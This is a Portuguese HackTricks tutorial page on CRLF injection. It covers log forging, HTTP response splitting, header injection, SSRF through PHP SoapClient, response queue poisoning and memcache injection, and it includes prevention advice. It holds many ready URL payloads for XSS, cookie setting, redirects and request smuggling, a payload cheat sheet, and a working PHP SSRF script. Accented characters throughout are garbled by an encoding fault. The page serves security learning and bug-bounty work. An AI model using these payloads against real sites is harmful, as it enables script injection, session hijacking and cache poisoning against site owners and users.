# CRLF (%0D%0A) Injection
{% hint style="success" %}
Aprenda e pratique Hacking na AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** š¬ [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** š¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositĆ³rios do github.
{% endhint %}
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nĆ³s em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de atĆ© **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
### CRLF
Carriage Return (CR) e Line Feed (LF), coletivamente conhecidos como CRLF, sĆ£o sequĆŖncias de caracteres especiais usadas no protocolo HTTP para denotar o fim de uma linha ou o inĆcio de uma nova. Servidores web e navegadores usam CRLF para distinguir entre cabeƧalhos HTTP e o corpo de uma resposta. Esses caracteres sĆ£o universalmente empregados em comunicaƧƵes HTTP/1.1 em vĆ”rios tipos de servidores web, como Apache e Microsoft IIS.
### Vulnerabilidade de InjeĆ§Ć£o CRLF
A injeĆ§Ć£o CRLF envolve a inserĆ§Ć£o de caracteres CR e LF em entradas fornecidas pelo usuĆ”rio. Essa aĆ§Ć£o engana o servidor, aplicativo ou usuĆ”rio, fazendo com que interpretem a sequĆŖncia injetada como o fim de uma resposta e o inĆcio de outra. Embora esses caracteres nĆ£o sejam inerentemente prejudiciais, seu uso indevido pode levar Ć divisĆ£o de resposta HTTP e outras atividades maliciosas.
### Exemplo: InjeĆ§Ć£o CRLF em um Arquivo de Log
[Exemplo daqui](https://www.invicti.com/blog/web-security/crlf-http-header/)
Considere um arquivo de log em um painel de administraĆ§Ć£o que segue o formato: `IP - Hora - Caminho Visitado`. Uma entrada tĆpica pode parecer:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Um atacante pode explorar uma injeĆ§Ć£o CRLF para manipular este log. Ao injetar caracteres CRLF na solicitaĆ§Ć£o HTTP, o atacante pode alterar o fluxo de saĆda e fabricar entradas de log. Por exemplo, uma sequĆŖncia injetada pode transformar a entrada do log em:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Aqui, `%0d` e `%0a` representam as formas codificadas em URL de CR e LF. ApĆ³s o ataque, o log exibiria de forma enganosa:
```
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
O atacante, assim, encobre suas atividades maliciosas fazendo parecer que o localhost (uma entidade tipicamente confiĆ”vel dentro do ambiente do servidor) realizou as aƧƵes. O servidor interpreta a parte da consulta que comeƧa com `%0d%0a` como um Ćŗnico parĆ¢metro, enquanto o parĆ¢metro `restrictedaction` Ć© analisado como outra entrada separada. A consulta manipulada efetivamente imita um comando administrativo legĆtimo: `/index.php?page=home&restrictedaction=edit`
### HTTP Response Splitting
#### DescriĆ§Ć£o
HTTP Response Splitting Ć© uma vulnerabilidade de seguranƧa que surge quando um atacante explora a estrutura das respostas HTTP. Essa estrutura separa os cabeƧalhos do corpo usando uma sequĆŖncia de caracteres especĆfica, Carriage Return (CR) seguido por Line Feed (LF), coletivamente chamados de CRLF. Se um atacante conseguir inserir uma sequĆŖncia CRLF em um cabeƧalho de resposta, ele pode efetivamente manipular o conteĆŗdo da resposta subsequente. Esse tipo de manipulaĆ§Ć£o pode levar a sĆ©rios problemas de seguranƧa, notavelmente Cross-site Scripting (XSS).
#### XSS atravƩs de HTTP Response Splitting
1. A aplicaĆ§Ć£o define um cabeƧalho personalizado assim: `X-Custom-Header: UserInput`
2. A aplicaĆ§Ć£o busca o valor para `UserInput` de um parĆ¢metro de consulta, digamos "user\_input". Em cenĆ”rios que carecem de validaĆ§Ć£o e codificaĆ§Ć£o adequadas de entrada, um atacante pode criar um payload que inclui a sequĆŖncia CRLF, seguida de conteĆŗdo malicioso.
3. Um atacante cria uma URL com um 'user\_input' especialmente elaborado: `?user_input=Value%0d%0a%0d%0a`
* Nesta URL, `%0d%0a%0d%0a` Ć© a forma codificada em URL de CRLFCRLF. Isso engana o servidor para inserir uma sequĆŖncia CRLF, fazendo com que o servidor trate a parte subsequente como o corpo da resposta.
4. O servidor reflete a entrada do atacante no cabeƧalho da resposta, levando a uma estrutura de resposta nĆ£o intencional onde o script malicioso Ć© interpretado pelo navegador como parte do corpo da resposta.
#### Um exemplo de HTTP Response Splitting levando a Redirecionamento
De [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
Navegador para:
```
/%0d%0aLocation:%20http://myweb.com
```
E o servidor responde com o cabeƧalho:
```
Location: http://myweb.com
```
**Outro exemplo: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### No Caminho da URL
VocĆŖ pode enviar o payload **dentro do caminho da URL** para controlar a **resposta** do servidor (exemplo de [aqui](https://hackerone.com/reports/192667)):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
Confira mais exemplos em:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### InjeĆ§Ć£o de CabeƧalho HTTP
A InjeĆ§Ć£o de CabeƧalho HTTP, frequentemente explorada atravĆ©s da injeĆ§Ć£o CRLF (Carriage Return e Line Feed), permite que atacantes insiram cabeƧalhos HTTP. Isso pode comprometer mecanismos de seguranƧa, como filtros XSS (Cross-Site Scripting) ou o SOP (Same-Origin Policy), potencialmente levando ao acesso nĆ£o autorizado a dados sensĆveis, como tokens CSRF, ou Ć manipulaĆ§Ć£o de sessƵes de usuĆ”rio atravĆ©s do plantio de cookies.
#### Explorando CORS via InjeĆ§Ć£o de CabeƧalho HTTP
Um atacante pode injetar cabeƧalhos HTTP para habilitar CORS (Cross-Origin Resource Sharing), contornando as restriƧƵes impostas pelo SOP. Essa violaĆ§Ć£o permite que scripts de origens maliciosas interajam com recursos de uma origem diferente, potencialmente acessando dados protegidos.
#### SSRF e InjeĆ§Ć£o de RequisiĆ§Ć£o HTTP via CRLF
A injeĆ§Ć£o CRLF pode ser utilizada para criar e injetar uma nova requisiĆ§Ć£o HTTP. Um exemplo notĆ”vel disso Ć© a vulnerabilidade na classe `SoapClient` do PHP, especificamente dentro do parĆ¢metro `user_agent`. Ao manipular esse parĆ¢metro, um atacante pode inserir cabeƧalhos adicionais e conteĆŗdo do corpo, ou atĆ© mesmo injetar uma nova requisiĆ§Ć£o HTTP completamente. Abaixo estĆ” um exemplo em PHP demonstrando essa exploraĆ§Ć£o:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
```
### InjeĆ§Ć£o de CabeƧalho para Furtos de RequisiĆ§Ć£o
Para mais informaƧƵes sobre esta tƩcnica e problemas potenciais [**verifique a fonte original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
VocĆŖ pode injetar cabeƧalhos essenciais para garantir que o **back-end mantenha a conexĆ£o aberta** apĆ³s responder Ć requisiĆ§Ć£o inicial:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Depois, uma segunda solicitaĆ§Ć£o pode ser especificada. Este cenĆ”rio geralmente envolve [HTTP request smuggling](http-request-smuggling/), uma tĆ©cnica onde cabeƧalhos ou elementos de corpo extras adicionados pelo servidor apĆ³s a injeĆ§Ć£o podem levar a vĆ”rias exploraƧƵes de seguranƧa.
**ExploraĆ§Ć£o:**
1. **InjeĆ§Ć£o de Prefixo Malicioso**: Este mĆ©todo envolve envenenar a solicitaĆ§Ć£o do prĆ³ximo usuĆ”rio ou um cache da web especificando um prefixo malicioso. Um exemplo disso Ć©:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2. **Criando um Prefixo para Envenenamento da Fila de Respostas**: Esta abordagem envolve criar um prefixo que, quando combinado com lixo no final, forma uma segunda solicitaĆ§Ć£o completa. Isso pode acionar o envenenamento da fila de respostas. Um exemplo Ć©:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
### InjeĆ§Ć£o de Memcache
Memcache Ʃ um **armazenamento de chave-valor que usa um protocolo de texto claro**. Mais informaƧƵes em:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
**Para informaƧƵes completas, leia o**[ **artigo original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
Se uma plataforma estiver **pegando dados de uma solicitaĆ§Ć£o HTTP e usando-os sem sanitizaĆ§Ć£o** para realizar **solicitaƧƵes** a um servidor **memcache**, um atacante poderia abusar desse comportamento para **injetar novos comandos memcache**.
Por exemplo, na vulnerabilidade descoberta originalmente, chaves de cache foram usadas para retornar o IP e a porta que um usuĆ”rio deveria conectar, e os atacantes conseguiram **injetar comandos memcache** que **envenenariam** o **cache para enviar os detalhes das vĆtimas** (nomes de usuĆ”rio e senhas incluĆdos) para os servidores do atacante:
AlĆ©m disso, os pesquisadores tambĆ©m descobriram que poderiam desincronizar as respostas do memcache para enviar o IP e as portas dos atacantes para usuĆ”rios cujo e-mail o atacante nĆ£o conhecia:
### Como Prevenir InjeƧƵes CRLF / HTTP Header em AplicaƧƵes Web
Para mitigar os riscos de injeƧƵes CRLF (Carriage Return e Line Feed) ou injeƧƵes de cabeƧalho HTTP em aplicaƧƵes web, as seguintes estratĆ©gias sĆ£o recomendadas:
1. **Evitar Entrada Direta do UsuƔrio em CabeƧalhos de Resposta:** A abordagem mais segura Ʃ evitar incorporar a entrada fornecida pelo usuƔrio diretamente nos cabeƧalhos de resposta.
2. **Codificar Caracteres Especiais:** Se evitar a entrada direta do usuĆ”rio nĆ£o for viĆ”vel, certifique-se de empregar uma funĆ§Ć£o dedicada Ć codificaĆ§Ć£o de caracteres especiais como CR (Carriage Return) e LF (Line Feed). Esta prĆ”tica previne a possibilidade de injeĆ§Ć£o CRLF.
3. **Atualizar Linguagem de ProgramaĆ§Ć£o:** Atualize regularmente a linguagem de programaĆ§Ć£o usada em suas aplicaƧƵes web para a versĆ£o mais recente. Opte por uma versĆ£o que inherentemente nĆ£o permita a injeĆ§Ć£o de caracteres CR e LF dentro das funƧƵes encarregadas de definir cabeƧalhos HTTP.
### CHEATSHEET
[Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777)
```
1. HTTP Response Splitting
ā¢ /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
ā¢ //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
ā¢ /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
ā¢ /google.com/%2F..%0D%0AHeader-Test:test2
ā¢ /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
ā¢ /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
ā¢ /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
ā¢ %E5%98%8A = %0A = \u560a
ā¢ %E5%98%8D = %0D = \u560d
ā¢ %E5%98%BE = %3E = \u563e (>)
ā¢ %E5%98%BC = %3C = \u563c (<)
ā¢ Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## Ferramentas AutomƔticas
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
## Lista de DetecĆ§Ć£o de ForƧa Bruta
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
## ReferĆŖncias
* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma **plataforma de bug bounty premium criada por hackers, para hackers**! Junte-se a nĆ³s em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de atĆ© **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** š¬ [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** š¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositĆ³rios do github.
{% endhint %}